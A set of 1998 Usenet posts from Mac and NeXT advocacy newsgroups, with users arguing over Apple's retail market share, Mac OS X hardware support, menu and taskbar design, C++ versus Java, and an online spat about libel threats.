*if* you make any further slanderous misrepresentations is a courtesy. Suing
if that happens is not a dire action, though the consequences of it may well
be to you, nor a threat. The conditional prospect of the suit occuring is
subject to your potential malice, as such it is information provided to you
that you are violating my rights and will be subject to the punishments
provided by law.
It's similar to an old tort law self defense case. This knight in england
was walking down the street and someone told him "your mother sucks beans" or
somesuch other nonsense. The knight responded "if it were the hour of
something or other, I would kill you." It wasn't that hour, so it was not a
threat. Furthermore, if you tell someone, "if you hit me, I'll be forced to
defend myself and beat the hell out of you" you are not making any threat.
You are informing the person of your rights. There's a lot of case law on
this. And you're wrong in your understanding about the topic.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 98 18:58:20 GMT
Organization: QMS
Message-ID: <6piigt$2gg$2@news01.deltanet.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net> <35B8E397.FEE5AE46@ericsson.com> <gmgraves-2407981728080001@sf-usr1-29-157.dialup.slip.net> <mVbu1.7093$7k7.9184816@news.rdc1.sdca.home.com> <gmgraves-2507981410220001@sf-usr1-25-153.dialup.slip.net> <35BA7369.55E8@nstar.net> <gmgraves-2607981421530001@sf-usr1-35-163.dialup.slip.net>
In article <gmgraves-2607981421530001@sf-usr1-35-163.dialup.slip.net>, gmgraves@slip.net (George Graves) wrote:
..
>Yes, I think people using Windows are suckers. I think all
>of you have been sold a bill of goods. That the majority of you don't know
>any better is testimony to Apple's failure over the years. I also realize
>that many people, some of which DO know better, have to use Windows
>because the software they need is only available on that platform. Those,
>I feel sorry for.
This is a real problem. Windows just does not measure up in far too
many ways, yet it is where many of the things I need to use live.
Annoying in the extreme, given that MS has so much cash that they
could rearchitect thier way to an OS superior in all ways. All they
need to do is decide that they are going to find every good thing in
other OSes, make something better, and make it easier to use.
Difficult? Yes. Doable? Yes.
They do not see a need to, since they are the majority player.
(Example - the task bar buttons do not go to the bottom of the
screen, so if your resolution is set very high, you have to hit the
button in two dimensions to task switch, when they could have made
it a one dimensional hit. This is harder on the user than it needs to
be, and the kind of thing that UI police exist to fix.)
>Apple has better leadership now than ever before in their history. If
>anything can be done to stop Apple's slide to obscurity and irrelevance,
>this team is the one which can do it. What I am doing in this thread and
>in a couple of others is to try to show some of these Apple boosters that:
>
>1) A few good quarters does not a saved company make.
>2) Apple has a long way to go to truly turn around.
Yep. A counter point is that the people I know at Apple are working
towards a series of clear goals. For example, for the first time in a
long time, I have the clear feeling that the Java team is going to be
competitive enough for me to release cutting edge Java apps on both
platforms I use regularly. The previous people were also competent
and dedicated, but they had insufficient support, and there just were
not enough of them. Apple's management has clued in on this, and
now the Java team has a fighting chance.
If this is typical, we may well see Apple reinventing themselves, but
it will take effort.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: "Nevin \":-]\" Liber" <nevin@CS.Arizona.EDU>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 14:55:56 -0500
Organization: University of Arizona
Message-ID: <6pim7q$6sg$1@supernews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com>
quinlan@my-dejanews.com wrote in message
<6phbrl$ibc$1@nnrp1.dejanews.com>...
>In the Mac OS, I cannot switch applications while another applications is
>loading.
Vs. under Win95, where even though you might swich apps while one is
loading, the app that is being launched, and not the user, can decide to
take the focus back.
>In the Mac OS, writing to the null address causes a crash.
Under just about every OS out there, writing to the null address causes a
crash *of the application*. The MacOS is no different in this respect.
Running the following program under Solaris:
void main(void)
{
char * null = 0;
*null = 0;
}
I get:
Segmentation fault (core dumped)
What exactly do you think should happen??
--
Nevin ":-)" Liber <mailto:nevin@CS.Arizona.EDU> (847) 816-9660
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Mon, 27 Jul 1998 19:49:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pilju$at8$1@nnrp1.dejanews.com>
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6phd87$k04$1@nnrp1.dejanews.com> <6pibqb$mhd$1@news.spacelab.net>
In article <6pibqb$mhd$1@news.spacelab.net>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> That functionality is not in the C++ language spec, no. It is possible to
> extend C++'s capabilities in various ways, and I seem to recall seeing custom
> modifications that support runtime binding (prob. for g++).
If you added runtime binding to C++ you would also have to add a mechanism to
handle method invocation failure at runtime. You would also have to change
the C++ typing rules to allow the use of objects of unknown type (otherwise
runtime binding is useless). After you've done this, the language is going to
be quite different. You'd probably be better to use Java which already has
runtime binding and a C++ derivative syntax.
> However, such changes are very implementation-dependent, and thus aren't
> portable. So, you cannot write generic C++ code which depends on runtime
> binding, because it isn't going to work under every C++ environment.
Exactly. Java, OTOH, is quite portable and is syntactically similar to C++.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 09:25:49 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980727092249.13400A-100000@ux7.cso.uiuc.edu>
References: <35bbcc48.0@news.depaul.edu> <B1E14963-127A3@206.165.43.43>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <B1E14963-127A3@206.165.43.43>
On 26 Jul 1998, Lawson English wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
> >In comp.sys.next.advocacy Howard S Shubs <hshubs@mindspring.com> wrote:
> >> In article <B1E0E952-3F0D5@206.165.43.124>, "Lawson English"
> >> <english@primenet.com> wrote:
> >
> >> And Fry's, Micro Center, and others.
> >
> >And don't forget that Dell, a biggy, doesn't sell through retail
> >much, if at all. Gateway does some retail sales, but not much.
>
> A couple of points:
>
> 1) Apple ONLY sells through CompUSA and Mac-only stores, last I heard. Frys
> no longer carries Macs unless things have changed drastically.
You heard wrong. CompUSA is the only _national_ retail chain that still
sells Macs. There are other regional retail chains that still sell Macs.
Fry's and Micro Center are among them.
> 2) The comparison was for retail sales. Given that Apple only sells through
> CompUSA and Mac-only stores (how do they add up the figures for the
> Mac-only stores, BTW?), the comparison is for those companies that sell
> through retail outlets.
>
> The claim is that Apple now has nearly 10% of that market.
>
> Doesn't make sense.
It's possible that sales are doing _really_ well at CompUSA and the other
retailers that Apple sells through. CompUSA is just the only _national_
chain. There are other local and regional chains that still sell Macs.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: %9.4 figure is NOT RELEVANT!
Date: Mon, 27 Jul 1998 12:18:35 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981218350001@sdn-ar-001casbarp306.dialsprint.net>
References: <35bbcc48.0@news.depaul.edu> <B1E14963-127A3@206.165.43.43> <joe.ragosta-2707980637150001@elk49.dol.net>
In article <joe.ragosta-2707980637150001@elk49.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > The claim is that Apple now has nearly 10% of that market.
> >
> > Doesn't make sense.
>
> Take it up with PC Data.
I hope no one brings this figure up anymore. I am not going to argue that
the retail market is getting more and more irrelevant (tho I do), its
simply we havent really had the facts to discuss this.
A good many of us saw this from macosrumors, which was totally factually
inaccurate. We couldnt view the original report from pc data because you
have to be a subscriber to do so.
Date: Mon, 27 Jul 1998 10:28:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2707981028060001@wil51.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com> <joe.ragosta-2207980820060001@wil103.dol.net> <6p503r$b1o$1@lwnws01.ne.highway1.com> <joe.ragosta-2607980731370001@elk85.dol.net> <6pgha1$1i1$2@lwnws01.ne.highway1.com> <MPG.10263ddcbffc158f989a23@news.supernews.com>
In article <MPG.10263ddcbffc158f989a23@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <6pgha1$1i1$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> says...
[drivel deleted]
>
> There may be many things we would consider unacceptable, but you choose
> one of the most outrageous. Random chance? I don't believe so. People
> choose outrageous examples to try to steal the moral reaction to them to
> be used on a much lesser case. It's dishonest. But it does happen.
>
> Furthermore, I'd disagree with some of your "unacceptables". The average
> car does release some pollutants, granted, but we haven't found an
> alternative that doesn't, and trying to force Americans to give up the
> freedom a car gives you, THAT would be unacceptable.
>
> But, there are some unacceptables you could have used. For example, the
> personal abuse you've used in your posts are unacceptable. Yet, it
> exists.
Better watch it or he might threaten to sue you, too.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 16:11:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2707981611370001@wil75.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net>
In article <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <joe.ragosta-2707980631070001@elk49.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Sure. And in another thread you called Donal Brown a lame programmer which
> > is direct libel. That's supposed to be OK, but I say that if I remember
> > something correctly..... and I turn out to be wrong and you threaten to
> > sue me?
> >
> > I guess you really _are_ threatened by people pointing out the facts in
> > this group.
>
>
> Oh really? It looked to me like he called him a "lame oop programmer",
> meaning he WASNT slandering Donald, but slandering oop instead. And I
> dont think oop has standing in court to sue people, but Jason s can
> correct me if I am wrong :P
Do you _always_ have trouble with the English language?
"lame" is an adjective. OOP is a noun-adjunct. Programmer is a noun. In
the phrase above, lame modifies programmer.
>
> Joe, we all know what a smart guy you are, are you intentionally
> misreading what people say so you can flame them? I really dont
> understand what is up with you
Seems to me that you're the one having trouble reading. Go back to the
responses to the message I cited. Even John Kheit admitted that he was out
of line for calling Donald Brown a lame programmer.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 16:14:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2707981614150001@wil75.dol.net>
References: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> Yes. This is one of my complaints about the Mac menubar. On larger
> screens, it's quite a trip up to the menu bar and back.
Absolutely. And that explains why so many third party utilities have been
developed to help out. And why Mac OS 8 includes contextual menus to help
save trips to the menu bar.
Notice that Mac OS 8 came out about the time that 17" monitors started
replacing 15" monitors in large numbers.
My favorite solution is still my trusty Kensington Turbo Mouse which
offers 3 customizable popup menus and a regular mouse button.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 16:18:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: %9.4 figure is NOT RELEVANT!
Message-ID: <joe.ragosta-2707981618160001@wil75.dol.net>
References: <35bbcc48.0@news.depaul.edu> <B1E14963-127A3@206.165.43.43> <joe.ragosta-2707980637150001@elk49.dol.net> <macghod-2707981218350001@sdn-ar-001casbarp306.dialsprint.net>
In article <macghod-2707981218350001@sdn-ar-001casbarp306.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <joe.ragosta-2707980637150001@elk49.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > > The claim is that Apple now has nearly 10% of that market.
> > >
> > > Doesn't make sense.
> >
> > Take it up with PC Data.
>
> I hope no one brings this figure up anymore. I am not going to argue that
> the retail market is getting more and more irrelevant (tho I do), its
> simply we havent really had the facts to discuss this.
The facts are right there. Apple's U.S. retail market share was 7% last
November and is now 9.5%. What part of that don't you understand?
As for the facts not being relevant, you always seem to say that when
facts don't fit your world view. The facts are _very_ relevant,
particularly in light of all the people predicting disaster in Apple's
retail sales when they trimmed their distribution list.
>
> A good many of us saw this from macosrumors, which was totally factually
> inaccurate. We couldnt view the original report from pc data because you
> have to be a subscriber to do so.
That's true. MacOS Rumors made a mistake. But the same 9.5% figure was
reported on a bunch of more news-oriented sites. What's your complaint
about News.com's reporting? Or InfoWorld's reporting?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 13:27:48 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-2707981327520001@ip-26-031.phx.primenet.com>
References: <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> I think Apple needs to get on the AGP bandwagon soon or it will be very
> left behind. PCI is starting to be a real limitation. The available
> bandwidth is not nearly so impressive anymore. A 64bit 66MHz PCI would be
> fine except that there are already a bunch of good AGP cards out there now
> with even better ones coming through the pipeline.
What about Macs with a 80 MHz or 110 MHz PCI bus? I have a 60 MHz bus in
my PowerCenter Pro and it drives PCI cards noticeably faster than the 50
MHz bus in my 7500.
There was an interesting editorial on some Mac advocacy page a while back
(cna't remember the souce--was it MacKiDo?) which said that Apple should
licence both OpenGL and DirectX (Direct3D) and put them in OS X, along
with AG sypport. This would make games for the PC much easier to port and
allow Mac users to tap the lot cost/high-competition world of PC graphics
cards without having to wait for a company to write the drivers.
Hmmm, AGP, FireWire, USB, 100 MB Ethernet--upgrading the chassis instead
of the daughtercard is beginning to seem pretty compelling! Looks like
there will be more reasons to upgrade your system in the future than just
speed...
> If Apple writes support for the stock 8600s and 9600s (and all the
> motherboards that are basically the same as the ones in those machines)
> then there is no extra work for G3 upgrade cards to work.
Yes, but a lot of those G3 upgrades are in clone machines, which have the
7200 (Tsunami) motherboard, and there are even G3 upgrades for
6100/7100/8100 machines and 6400 Performas. See the slippery slope? Once
Apple supports one of these old motherboards, what excuse do they have for
not supporting them all? Apple must not be willing to brave that slope, or
even acknowledge its existence. Standardizing on a single motherboard
design (the G3 Gossamer) greatly narrows the scope of troubleshooting,
debugging, testing, and (later) providing tech support for OS X--and makes
sure it gets out the door on time.
[I've snipped a lot of this because it deals with the issue of programming
an OS and writing drivers for it, which I don't know enough about to
comment meaningfully.]
> It is a non-trivial job, but it is very far from an impossible task. What
> Apple has already done since buying NeXT seems much more ambitious to me
> than what they are planning for the next year or so. Granted Apple isn't
> as big as it was, but it is also not in the same turmoil that it was last
> year.
I don't know enough about the nuts-and-bolts mechanics of writing an OS to
work on a specific motherboard to comment on this, but I'll just repeat a
comment I have made before: Apple did not make the decision to make OS X
G3-only lightly. They know their own hardware and software better than
anyone, and they know their internal economics and politics better than
anyone. If they made the decision, they were the best-infomred people on
the subject possible, so I'm not sure the peanut gallery (meaning us,
Usenet) can really call it all into question so easily.
> Apple could take just a few million dollars out of its profits (even that
> is probably a huge overestimate) and support these machines. Assuming the
> rest of Mac OS X stays close to schedule, the extra time should not be
> very significant (a few months) and as I said before, a lot of it can be
> done in parallel.
Possibly. But I don't think any of us here knows enough to say this for
certain either way.
> > It may have to do with the level of tech support
> > Apple wants to give, or with Jobs' politics, or with a simple wish for a
> > clean slate.
>
> I would not forgive the "Job's politics" reason.
Well, you really wouldn't have a choice. I know that the level of
animosity towards Jobs is high on this group, and I'm no abject worshipper
myself, but he did rescue Apple for us. Remember, under Amelio Apple bled
money three quarters in a row, and the stock price bottomed out beyond
belief (12! 12 was the low, dammit! And now it is 36!). Love him or hate
him, we all better learn to respect him, because without him Apple simply
would not exist today. If you decided to give up the platform to spite
Jobs, you would be biting the hand that just pulled you from ice-cold
Arctic waters of doom.
> I'd be bothered by the "clean slate" and the "level of tech support"
> reasons.
Then don't buy BeOS! ;-)
> If high end users _choose_ to buy shiny new hardware to do it, that's
> fine. I don't think the kind of encouragement Apple will be doing is going
> to make many of these people smile while going along with it. Some will
> leave the platform _because_ of this.
But Apple is betting that the high-end users won't need G3-only OS X to
"encourage" them--they will already be moving to G3/G4 high-end chassis in
1999 and 2000. By then the hardware will be so compelling (Firewire! 100
MB Ethernet! SCSI III! Possibly AGP! USB! 110 MHz busses!) that even a 400
MHz G3-upgraded 9600 will seem a junker.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 19:52:03 GMT
Organization: none
Message-ID: <6pilp3$4a1$2@server.signat.org>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
<6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net>
<6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net>
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<35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net>
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In <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net> George Graves
wrote:
> Yes, Natey, you do indeed have a copy of NT4 for PPC on your NT4 CD.
> But I want to make one thing clear that others seem to not realize.
> Apple had NOTHING whatever to do with this product because it will
> NOT run on a Macintosh, and was never intended to. It was designed to
> run on IBM's 6000 series mini-mainframes which use PPC chips.
Uhhh, it was? I'm pretty sure it was built to run on PC-like machines with
a PPC, being sold primarily from Motorola (which I have used). I don't
believe it runs on the RS/6000. You sure about this?
Maury
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 11:59:35 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net>
In article <joe.ragosta-2707980631070001@elk49.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Sure. And in another thread you called Donal Brown a lame programmer which
> is direct libel. That's supposed to be OK, but I say that if I remember
> something correctly..... and I turn out to be wrong and you threaten to
> sue me?
>
> I guess you really _are_ threatened by people pointing out the facts in
> this group.
Oh really? It looked to me like he called him a "lame oop programmer",
meaning he WASNT slandering Donald, but slandering oop instead. And I
dont think oop has standing in court to sue people, but Jason s can
correct me if I am wrong :P
Joe, we all know what a smart guy you are, are you intentionally
misreading what people say so you can flame them? I really dont
understand what is up with you
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 14:10:32 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>
References: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au>
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On Tue, 28 Jul 1998, Christopher Smith wrote:
>
> Pulsar <tokarek@uiuc.edu> wrote in message
> Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu...
> >On Fri, 24 Jul 1998, Andy Bates wrote:
> >
> >Taking the menus outside "application windows" as in the Mac OS and NeXT
> >avoids this problem/flaw.
>
> Whilst I don't have a problem with MDI, I recognise its flaws, the
> document-centric approach of MacOS, while nice in theory, has a huge problem
> (IMHO):
> The single menu bar.
> At low resolutions, it's ok, because most document windows nearly fill the
> screen, and traversing to the menu bar is not a real hassle. OTOH, at high
> resolutions (1024x768 and up) having to move between the various document
> windows and the menu bar/toolbar gives me an aching hand very quickly.
Yes. This is one of my complaints about the Mac menubar. On larger
screens, it's quite a trip up to the menu bar and back.
> Since I abhor working at any resolution under 1024x768 (I'd rather
> 1024x768@60Hz than 800x600@70-80Hz) this is a problem I have noticed a lot
> using Macs. After thinking about it for a while, however, a solution I
> really like has proved elusive :\. One idea I liked was having no menu
> bar/toolbar on screen at all, and holding down the third mouse button would
> pop up a menubar/toolbar "block" under the cursor's current position -
> that's the best one I've been able to think up, and the biggest problem I've
> been able to see with it is standardising the position of the "block"
> relative to the cursor (this is a problem I have noticed with context-menus
> in NT). This would also be pretty good for those using multiple monitors -
> you wouldn't have to treck back to the "main" screen to get at the menubar.
NeXT had a solution to this kind of thing that sounds almost exactly like
what you propose. There was the normal menu in a separate window that the
user normally places on the top left, and when the user did a right-click,
the contents of that menu were immediately available underneath the
pointer.It was a pseudo-context sensitive menu in that it wasn't context
sensitive, but behaves in the same way otherwise.
One thing with the menu proposal I have at
http://www.ews.uiuc.edu/~tokarek/rhapsody/
is that the menus are floating windows that can sit anywhere on the
screen(s). The NeXT behavior of popping up the menu under the pointer with
a right mouse click might be a good thing to add (or maybe it should be a
middle-click with a 3 button mouse since the right click will bring a
CSM).
CSMs in general begin to address this issue of having the menus sit a
long ways off from where you're working, but the NeXT behavior might be a
good addition.
> >Windows has the taskbar. While this isn't perfect, it is much more useful
> >than the Macintosh application menu. It presents an obvious way to
> >switch between applications and provides clear indication of what is
> >currently running. Each window in Windows has an icon and usually an
> >applicaiton name that associates that window with a particular
> >application.
>
> I've noticed a few things I'd like to change about the taskbar.
> 1. The ability to re-order the buttons/tasks.
> 2. When using multiple monitors (on Win98) the taskbar is only present on
> one monitor, I would personally like to see the taskbar implemented wrt to
> multiple monitors in three ways, and be able to choose between them.
> a) The way it is now
> b) Duplicate the taskbar across all monitors - clicking on a button
> jumps the mouse cursor and focus to the monitor the application is running
> on
> c) Have a separate taskbar for each monitor, displaying only the apps
> "running" on that monitor
> 3. Make it easier to rename the Start button :).
I would add:
4) Provide some obvious indication of the foreground application.
5) Do something else when there are too many buttons to fit nicely on the
bar. Just truncating the name is bad.
> >What about the shelf concept that Forrest has mentioned? Is that wrong?
> >Would an obvious indication of how to deal with mounted volumes be a bad
> >thing? Are you averse to considering it? Are the current Mac OS solutions
> >any better?
>
> I wrote a whole post a few months back on how I'd like to see "mountable"
> devices implemented, and I was surprised you didn't reply to it :). I'd
> appreciate it if you could dig it up in Dejanews (or email me and I'll send
> it back) and tell me what you think.
Hmm... I think I just missed that. Sorry. I'll poke through Dejanews
though and comment on it. Perhaps it is a good solution to this issue on
the Mac.
> >YES!!!!! Don't dismiss the problem because of that!
> >
> >This could be fixed by a new way of deciding the type of a file. I've
> >talked about this before.
>
> Sorry I must have missed it - could you re-iterate or email me how you would
> like to see file typing implemented please ? :).
